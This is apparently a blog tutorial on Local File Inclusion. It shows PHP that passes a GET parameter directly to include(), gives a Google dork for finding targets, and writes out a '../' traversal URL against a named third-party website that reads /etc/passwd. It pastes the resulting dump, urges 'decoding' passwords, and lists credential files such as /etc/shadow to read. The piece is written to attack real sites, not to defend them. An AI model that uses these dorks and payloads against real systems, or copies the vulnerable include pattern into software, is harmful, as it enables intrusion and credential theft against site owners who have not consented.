L.F.I (Basic Tutorial)
Hello, this
is a simple tutorial on how to do Local File Inclusion (LFI).
First of
all, an example of a vulnerable PHP code is this:
Code:
$page =
$_GET[page];
include($page);
?>
Now, here's
a google dork:
Code:
inurl:redirect.php?page=
Search that
in google, and you should come up with a link like this:
Code:
http://www.x17agency.com/redirect.php?page=_CLI/contact.php
To test if
it's vulnerable, please put this code in:
Code:
http://www.x17agency.com/redirect.php?page=../../../../../etc/passwd
After you
have put that code in, which is "../../../../../etc/passwd", you
should come up with something like this:
## # User
Database # # Note that this file is consulted directly only when the system is
running # in single-user mode. At other times this information is provided by #
Open Directory. # # This file will not be consulted for authentication unless
the BSD local node # is enabled via /Applications/Utilities/Directory
Utility.app # # See the DirectoryService(8) man page for additional information
about # Open Directory. ## nobody:*:-2:-2:Unprivileged
User:/var/empty:/usr/bin/false root:*:0:0:System
Administrator:/var/root:/bin/sh daemon:*:1:1:System
Services:/var/root:/usr/bin/false _uucp:*:4:4:Unix to Unix Copy
Protocol:/var/spool/uucp:/usr/sbin/uucico _lp:*:26:26:Printing
Services:/var/spool/cups:/usr/bin/false _postfix:*:27:27:Postfix Mail
Server:/var/spool/postfix:/usr/bin/false _mcxalr:*:54:54:MCX
AppLaunch:/var/empty:/usr/bin/false _pcastagent:*:55:55:Podcast Producer
Agent:/var/pcast/agent:/usr/bin/false _pcastserver:*:56:56:Podcast Producer
Server:/var/pcast/server:/usr/bin/false _serialnumberd:*:58:58:Serial Number
Daemon:/var/empty:/usr/bin/false _devdocs:*:59:59:Developer
Documentation:/var/empty:/usr/bin/false _sandbox:*:60:60:Seatbelt:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false
_ard:*:67:67:Apple Remote Desktop:/var/empty:/usr/bin/false _www:*:70:70:World
Wide Web Server:/Library/WebServer:/usr/bin/false _eppc:*:71:71:Apple Events
User:/var/empty:/usr/bin/false _cvs:*:72:72:CVS
Server:/var/empty:/usr/bin/false _svn:*:73:73:SVN
Server:/var/empty:/usr/bin/false _mysql:*:74:74:MySQL
Server:/var/empty:/usr/bin/false _sshd:*:75:75:sshd Privilege
separation:/var/empty:/usr/bin/false _qtss:*:76:76:QuickTime Streaming
Server:/var/empty:/usr/bin/false _cyrus:*:77:6:Cyrus
Administrator:/var/imap:/usr/bin/false _mailman:*:78:78:Mailman List
Server:/var/empty:/usr/bin/false _appserver:*:79:79:Application
Server:/var/empty:/usr/bin/false _clamav:*:82:82:ClamAV Daemon:/var/virusmails:/usr/bin/false
_amavisd:*:83:83:AMaViS Daemon:/var/virusmails:/usr/bin/false
_jabber:*:84:84:Jabber XMPP Server:/var/empty:/usr/bin/false
_xgridcontroller:*:85:85:Xgrid Controller:/var/xgrid/controller:/usr/bin/false
_xgridagent:*:86:86:Xgrid Agent:/var/xgrid/agent:/usr/bin/false
_appowner:*:87:87:Application Owner:/var/empty:/usr/bin/false
_windowserver:*:88:88:WindowServer:/var/empty:/usr/bin/false
_spotlight:*:89:89:Spotlight:/var/empty:/usr/bin/false _tokend:*:91:91:Token
Daemon:/var/empty:/usr/bin/false
_securityagent:*:92:92:SecurityAgent:/var/empty:/usr/bin/false
_calendar:*:93:93:Calendar:/var/empty:/usr/bin/false
_teamsserver:*:94:94:TeamsServer:/var/teamsserver:/usr/bin/false
_update_sharing:*:95:-2:Update Sharing:/var/empty:/usr/bin/false
_installer:*:96:-2:Installer:/var/empty:/usr/bin/false _atsserver:*:97:97:ATS
Server:/var/empty:/usr/bin/false _unknown:*:99:99:Unknown
User:/var/empty:/usr/bin/false
A
non-shadowed file would look like this:
Code:
username:passwd:UID:GID:full_name:directory:shell
All you
have to do is decode the password.
Here are
some "interesting" places you might want to visit:
Code:
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
If you have any problems just write a comment !
0 comments: